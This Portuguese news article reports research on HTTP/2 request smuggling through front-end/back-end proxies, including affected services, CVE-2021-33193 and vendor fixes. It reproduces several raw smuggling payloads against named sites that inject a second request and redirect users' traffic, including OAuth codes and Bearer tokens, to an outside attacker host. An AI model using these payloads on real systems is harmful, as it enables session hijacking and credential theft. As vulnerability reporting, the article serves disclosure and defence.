Sistemas web onde o front-end aceita conexões via HTTP/2 e transmite ao back-end usando HTTP/1.1 estão vulneráveis a uma nova variante do ataque 'HTTP Request Smuggling', que permite, através do envio de requisições de cliente especialmente formatadas, intercalar-se no conteúdo das requisições de outros usuários, processadas no mesmo fluxo entre o front-end e o back-end. O ataque pode ser usado para injetar código JavaScript malicioso em uma sessão com um site legítimo, contornar sistemas de restrição de acesso e interceptar parâmetros de autenticação.
A problemática afeta proxies web, balanceadores de carga, aceleradores web, sistemas de entrega de conteúdo e outras configurações nas quais as requisições são redirecionadas no esquema front-end-back-end. O autor da pesquisa demonstrou a possibilidade de ataque a sistemas como Netflix, Verizon, Bitbucket, Netlify CDN e Atlassian, recebendo 56 mil dólares em programas de recompensa por identificação de vulnerabilidades. A existência do problema também foi confirmada em produtos da F5 Networks. Parte do problema impacta o mod_proxy no servidor http Apache (CVE-2021-33193), com correções esperadas na versão 2.4.49 (os desenvolvedores foram informados sobre o problema no início de maio e tiveram 3 meses para correção). No nginx, a possibilidade de especificar simultaneamente os cabeçalhos 'Content-Length' e 'Transfer-Encoding' foi bloqueada na versão anterior (1.21.1). Ferramentas para a realização de ataques já foram adicionadas ao conjunto de ferramentas Burp e estão disponíveis na forma de uma extensão Turbo Intruder.
O princípio de funcionamento do novo método de inserção de requisições no tráfego é semelhante à vulnerabilidade identificada pelo mesmo pesquisador dois anos atrás, mas limitada a front-ends que aceitam requisições via HTTP/1.1. Vale ressaltar que no esquema front-end-back-end, as requisições dos clientes são capturadas por um nó adicional — o front-end, que estabelece uma conexão TCP duradoura com o back-end, que realiza o processamento direto das requisições. Através dessa conexão compartilhada, geralmente são transmitidas requisições de diferentes usuários, que seguem em sequência com a separação fornecida pelos meios do protocolo HTTP.
O ataque clássico «HTTP Request Smuggling» baseava-se na diferença de interpretação dos cabeçalhos HTTP «Content-Length» (que define o tamanho total dos dados na solicitação) e «Transfer-Encoding: chunked» (que permite a transmissão de dados em partes) entre front-ends e back-ends. Por exemplo, se o front-end suportar apenas «Content-Length» e ignorar «Transfer-Encoding: chunked», um atacante pode enviar uma solicitação com ambos os cabeçalhos «Content-Length» e «Transfer-Encoding: chunked», mas o tamanho em «Content-Length» não corresponderá ao tamanho da cadeia chunked. Nesse caso, o front-end processará e redirecionará a solicitação de acordo com o «Content-Length», enquanto o back-end aguardará o término do bloco baseado em «Transfer-Encoding: chunked», e o restante da solicitação do atacante acabará no início de outra solicitação enviada em seguida.
Ao contrário do protocolo de texto HTTP/1.1, cuja análise é feita a nível de linhas, HTTP/2 é um protocolo binário que manipula blocos de dados de tamanho previamente definido. No entanto, em HTTP/2, são utilizados pseudo-cabeçalhos correspondentes aos cabeçalhos comuns do HTTP. Ao interagir com o back-end pelo protocolo HTTP/1.1, o front-end traduz esses pseudo-cabeçalhos para os cabeçalhos equivalentes do HTTP/1.1. O problema é que o back-end toma decisões sobre a análise do fluxo com base nos cabeçalhos HTTP fornecidos pelo front-end, sem ter informações sobre os parâmetros da solicitação original.
Inclusive na forma de pseudo-cabeçalhos, podem ser transmitidos os valores «content-length» e «transfer-encoding», embora em HTTP/2 eles não sejam utilizados, já que o tamanho de todos os dados é definido em um campo separado. No entanto, durante a conversão da solicitação HTTP/2 para HTTP/1.1, esses cabeçalhos são transferidos e podem confundir o back-end. Destacam-se duas principais variantes de ataque: H2.TE e H2.CL, nas quais o back-end é enganado por um valor incorreto de transfer-encoding ou content-length, que não corresponde ao tamanho real do corpo da solicitação recebida pelo front-end via protocolo HTTP/2.
Como exemplo do ataque H2.CL, é mencionado a especificação de um tamanho incorreto no pseudo-cabeçalho content-length ao enviar uma solicitação HTTP/2 para a Netflix. Esta solicitação resulta na adição de um cabeçalho HTTP análogo Content-Length ao se conectar ao backend usando HTTP/1.1, mas como o tamanho especificado em Content-Length é menor do que o real, uma parte dos dados no final é tratada como o início da próxima solicitação.
Por exemplo, a solicitação HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Resultará no envio ao backend da seguinte solicitação: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Como o Content-Length tem o valor 4, o backend interpretará como corpo da solicitação apenas "abcd", enquanto a parte restante "GET /n HTTP/1.1..." será processada como o início da próxima solicitação, vinculada a outro usuário. Assim, ocorrerá uma dessincronização do fluxo e, em resposta à próxima solicitação, será devolvido o resultado do processamento de uma solicitação forjada. No caso da Netflix, a especificação de um host externo no cabeçalho "Host:" na solicitação forjada resultou na saída da resposta ao cliente "Location: https://02.rs?x.netflix.com/n" e permitiu a transferência de conteúdo arbitrário ao cliente, incluindo a execução do seu código JavaScript no contexto do site da Netflix.
A segunda variante do ataque (H2.TE) está relacionada à substituição do cabeçalho "Transfer-Encoding: chunked". O uso do pseudo-cabeçalho transfer-encoding em HTTP/2 é proibido pela especificação, e solicitações com ele devem ser interpretadas como inválidas. No entanto, algumas implementações de frontend não seguem este requisito e permitem o uso do pseudo-cabeçalho transfer-encoding em HTTP/2, que é convertido em um cabeçalho HTTP análogo. Com a presença do cabeçalho "Transfer-Encoding", o backend pode considerá-lo mais prioritário e processar os dados em partes no modo "chunked" usando blocos de tamanhos diferentes no formato "{tamanho}\r\n{bloco}\r\n{tamanho}\r\n{bloco}\r\n0", apesar da divisão inicial pelo tamanho total.
A existência de tal brecha foi demonstrada com o exemplo da Verizon. Neste caso, o problema estava relacionado ao portal de autenticação e do sistema de gerenciamento de conteúdo, que também é utilizado em sites como Huffington Post e Engadget. Por exemplo, a solicitação do cliente por HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x="
Levou à transmissão de uma solicitação HTTP/1.1 ao backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
O backend, por sua vez, ignorou o cabeçalho "Content-Length" e realizou a divisão no stream com base em "Transfer-Encoding: chunked". Na prática, o ataque permitiu redirecionar as solicitações dos usuários para seu site e até interceptar as solicitações relacionadas à autenticação OAuth, cujos parâmetros apareceram no cabeçalho Referer, além de simular uma sessão de autenticação e iniciar o envio de credenciais do usuário para o host do atacante. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Para ataques a implementações HTTP/2 que não permitem a especificação do pseudo-cabeçalho transfer-encoding, foi proposto mais um método, relacionado à injeção do cabeçalho "Transfer-Encoding" através de sua anexação a outros pseudo-cabeçalhos com separação por caracteres de nova linha (ao ser convertido para HTTP/1.1, nesse caso, dois cabeçalhos HTTP separados são criados).
Por exemplo, a questão indicada afetou o Atlassian Jira e o Netlify CDN (usado para servir a página inicial da Mozilla no Firefox). Em particular, a solicitação HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
levou ao envio de uma solicitação HTTP/1.1 ao backend POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Outra variante da inserção do cabeçalho "Transfer-Encoding" foi anexá-lo ao nome de outro pseudo-cabeçalho ou à linha com o método da solicitação. Por exemplo, ao acessar o Atlassian Jira, o nome do pseudo-cabeçalho "foo: bar\r\ntransfer-encoding" com o valor "chunked" resultava na adição dos cabeçalhos HTTP "foo: bar" e "transfer-encoding: chunked", e a especificação no pseudo-cabeçalho ":method" com o valor "GET / HTTP/1.1\r\nTransfer-encoding: chunked" era traduzida para "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
O pesquisador que identificou o problema também propôs uma técnica de tunelamento de solicitações para realizar ataques em front-ends, onde para cada endereços IP uma conexão separada é estabelecida com o backend e o tráfego de diferentes usuários não se mistura. A técnica proposta não permite interferir nas solicitações de outros usuários, mas possibilita o envenenamento do cache compartilhado, influenciando o processamento de outras solicitações, e permite a substituição dos cabeçalhos HTTP internos, usados para transmitir informações operacionais do frontend para o backend (por exemplo, ao realizar a autenticação no frontend, informações sobre o usuário atual podem ser enviadas ao backend nesses cabeçalhos). Como exemplo do uso desse método na prática, através do envenenamento de cache foi possível obter controle sobre as páginas no serviço Bitbucket.
Fonte: opennet.ru
